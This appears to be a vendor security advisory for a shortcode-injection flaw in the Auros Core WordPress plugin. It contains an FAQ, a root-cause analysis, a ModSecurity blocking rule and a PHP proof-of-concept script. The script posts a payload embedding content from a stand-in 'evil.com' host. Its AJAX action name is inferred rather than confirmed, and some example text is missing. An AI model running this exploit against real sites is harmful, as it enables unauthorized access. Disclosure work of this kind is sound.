How does the arbitrary shortcode execution work?

The plugin passes user-supplied input directly to the WordPress do_shortcode() function without proper validation. An attacker can send a crafted request to an AJAX endpoint, such as /wp-admin/admin-ajax.php, with a malicious shortcode payload. The plugin then executes that shortcode, allowing the attacker to run any shortcode available on the site.

Who is affected by this vulnerability?

Any WordPress site running the Auros Core plugin version 5.3.1 or earlier is affected. Sites using a patched version or the plugin removed are not vulnerable.

How can I check if my site is vulnerable?

Check the installed version of the Auros Core plugin in the WordPress admin dashboard under Plugins. If the version is 5.3.1 or lower, your site is vulnerable. You can also use a vulnerability scanner that checks for known CVEs.

What is the CVSS score and what does it mean?

The CVSS score is 6.5, which is medium severity. This indicates low confidentiality and integrity impact, meaning an attacker could read sensitive data or modify content, but not fully compromise the server. The attack requires no authentication and is easy to execute.

What is the root cause of this vulnerability?

The root cause is a missing or insufficient validation of user input before it is passed to the do_shortcode() function. This is classified as CWE-94 (Code Injection), as the attacker can inject shortcode commands that are then executed by the server.

How can I fix or mitigate this vulnerability?

Since no official patch is available, the recommended fix is to remove or replace the Auros Core plugin. Alternatively, apply a virtual patch at the web application firewall (WAF) level to block requests to the vulnerable AJAX action. The plugin developer should implement input validation and a whitelist of allowed shortcodes.

What is the proof of concept and how does it work?

The proof of concept sends a POST request to /wp-admin/admin-ajax.php with parameters like action=auros_core_execute_shortcode and shortcode_payload containing a malicious shortcode. The server executes the shortcode and returns the output. This demonstrates that an unauthenticated attacker can run arbitrary shortcodes.

What can an attacker achieve by exploiting this vulnerability?

An attacker can execute any shortcode available on the site, including WordPress core shortcodes like or shortcodes from other plugins that may perform sensitive operations. This could lead to data exfiltration, content injection, or privilege escalation depending on the available shortcodes.

Does this vulnerability require authentication?

No, the vulnerability can be exploited by unauthenticated attackers. The vulnerable AJAX action does not require a valid nonce or user authentication, allowing anyone to send the exploit request.

Is there a risk of remote code execution?

Direct remote code execution is not guaranteed, but it may be possible if the site has plugins that provide shortcodes capable of executing system commands or writing files. The risk depends on the shortcodes available on the target site.

Where can I find more information about this CVE?

You can find the official CVE record at the CVE database, and security advisories from WordPress plugin vulnerability databases. The Atomic Edge research page also provides analysis and the proof of concept.

Published : July 4, 2026

CVE-2025-64637: Auros Core <= 5.3.1 Unauthenticated Arbitrary Shortcode Execution PoC, Patch Analysis & Rule

Q: What is CVE-2025-64637?

CVE-2025-64637 is a medium-severity vulnerability in the Auros Core plugin for WordPress, versions up to and including 5.3.1. It allows unauthenticated attackers to execute arbitrary shortcodes, potentially leading to data exposure or limited content manipulation.

CVE ID CVE-2025-64637

Plugin auros-core

Severity Medium (CVSS 6.5)

CWE 94

Vulnerable Version 5.3.1

Patched Version —

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-64637 (metadata-based): This vulnerability affects the Auros Core plugin for WordPress, versions up to and including 5.3.1. It allows unauthenticated attackers to execute arbitrary shortcodes, leading to potential data exposure and limited integrity impact. The CVSS score is 6.5, indicating medium severity with low confidentiality and integrity impact.

The root cause, inferred from the CWE-94 (Code Injection) classification and the description, is that the plugin passes user-supplied input directly to the WordPress `do_shortcode()` function without proper validation or sanitization. The description states the plugin “allows users to execute an action that does not properly validate a value before running do_shortcode.” This indicates a missing or insufficient check on a parameter that is subsequently used in a shortcode execution context. Since no source code is available, this conclusion is inferred from the CWE and description, not confirmed from code review.

Exploitation is straightforward. The attack vector is likely via a WordPress AJAX handler or REST API endpoint. An attacker sends a crafted request to `/wp-admin/admin-ajax.php` with the action parameter set to a plugin-specific handler (e.g., `auros_core_execute_shortcode`) and a payload parameter containing a malicious shortcode like `[do_evil_shortcode]`. Since authentication is not required (PR:N), any unauthenticated user can send this request. The payload can call WordPress native shortcodes (e.g., `[php]` if a code execution plugin is installed) or plugin-specific shortcodes that perform sensitive operations. The attack does not require a valid nonce because the vulnerable action likely does not perform nonce verification.

Remediation requires the plugin developer to validate and sanitize the input before passing it to `do_shortcode()`. The fix should ensure that only allowed shortcodes are executed, perhaps by maintaining a whitelist of permitted shortcodes. Alternatively, the action should require authentication and capability checks if shortcode execution is an administrative function. Since no patched version is available, users must remove or replace the plugin, or apply a virtual patch at the WAF level.

If exploited, an attacker can execute arbitrary shortcodes. They could use WordPress core shortcodes like “ to include external content, or leverage other plugins’ shortcodes that perform database queries or file operations. While direct Remote Code Execution is not guaranteed, shortcode execution can lead to data exfiltration, content injection, or privilege escalation depending on the available shortcodes. The CVSS impact is low for both confidentiality and integrity, but this may understate the risk if the site has plugins with powerful shortcodes.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2025-64637 (metadata-based)
# Blocks unauthenticated arbitrary shortcode execution via Auros Core AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20264637,phase:2,deny,status:403,chain,msg:'CVE-2025-64637 - Auros Core Unauthenticated Arbitrary Shortcode Execution Attempt',severity:'CRITICAL',tag:'CVE-2025-64637'"
SecRule ARGS_POST:action "@streq auros_core_execute_shortcode" 
    "chain"
SecRule ARGS_POST:shortcode_payload "@rx [.*]" 
    "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-64637 - Auros Core <= 5.3.1 - Unauthenticated Arbitrary Shortcode Execution

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$action = 'auros_core_execute_shortcode'; // Inferred AJAX action based on plugin slug pattern
$shortcode = '[embed url="http://evil.com/malicious.js"]'; // Example shortcode payload

// Send the exploit request via WordPress admin-ajax.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => $action,
    'shortcode_payload' => $shortcode
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only, disable in production
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
if ($http_code == 200 && !empty($response)) {
    echo "Exploit likely succeeded. Response:n";
    echo $response;
} else {
    echo "Exploit failed or blocked. HTTP code: $http_coden";
}

Frequently Asked Questions

What is CVE-2025-64637?
Vulnerability Overview
CVE-2025-64637 is a medium-severity vulnerability in the Auros Core plugin for WordPress, versions up to and including 5.3.1. It allows unauthenticated attackers to execute arbitrary shortcodes, potentially leading to data exposure or limited content manipulation.
How does the arbitrary shortcode execution work?
Attack Mechanism
The plugin passes user-supplied input directly to the WordPress do_shortcode() function without proper validation. An attacker can send a crafted request to an AJAX endpoint, such as /wp-admin/admin-ajax.php, with a malicious shortcode payload. The plugin then executes that shortcode, allowing the attacker to run any shortcode available on the site.
Who is affected by this vulnerability?
Affected Users
Any WordPress site running the Auros Core plugin version 5.3.1 or earlier is affected. Sites using a patched version or the plugin removed are not vulnerable.
How can I check if my site is vulnerable?
Detection Steps
Check the installed version of the Auros Core plugin in the WordPress admin dashboard under Plugins. If the version is 5.3.1 or lower, your site is vulnerable. You can also use a vulnerability scanner that checks for known CVEs.
What is the CVSS score and what does it mean?
Risk Assessment
The CVSS score is 6.5, which is medium severity. This indicates low confidentiality and integrity impact, meaning an attacker could read sensitive data or modify content, but not fully compromise the server. The attack requires no authentication and is easy to execute.
What is the root cause of this vulnerability?
Technical Root Cause
The root cause is a missing or insufficient validation of user input before it is passed to the do_shortcode() function. This is classified as CWE-94 (Code Injection), as the attacker can inject shortcode commands that are then executed by the server.
How can I fix or mitigate this vulnerability?
Remediation Steps
Since no official patch is available, the recommended fix is to remove or replace the Auros Core plugin. Alternatively, apply a virtual patch at the web application firewall (WAF) level to block requests to the vulnerable AJAX action. The plugin developer should implement input validation and a whitelist of allowed shortcodes.
What is the proof of concept and how does it work?
PoC Explanation
The proof of concept sends a POST request to /wp-admin/admin-ajax.php with parameters like action=auros_core_execute_shortcode and shortcode_payload containing a malicious shortcode. The server executes the shortcode and returns the output. This demonstrates that an unauthenticated attacker can run arbitrary shortcodes.
What can an attacker achieve by exploiting this vulnerability?
Potential Impact
An attacker can execute any shortcode available on the site, including WordPress core shortcodes like or shortcodes from other plugins that may perform sensitive operations. This could lead to data exfiltration, content injection, or privilege escalation depending on the available shortcodes.
Does this vulnerability require authentication?
Authentication Requirement
No, the vulnerability can be exploited by unauthenticated attackers. The vulnerable AJAX action does not require a valid nonce or user authentication, allowing anyone to send the exploit request.
Is there a risk of remote code execution?
RCE Possibility
Direct remote code execution is not guaranteed, but it may be possible if the site has plugins that provide shortcodes capable of executing system commands or writing files. The risk depends on the shortcodes available on the target site.
Where can I find more information about this CVE?
Additional Resources
You can find the official CVE record at the CVE database, and security advisories from WordPress plugin vulnerability databases. The Atomic Edge research page also provides analysis and the proof of concept.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started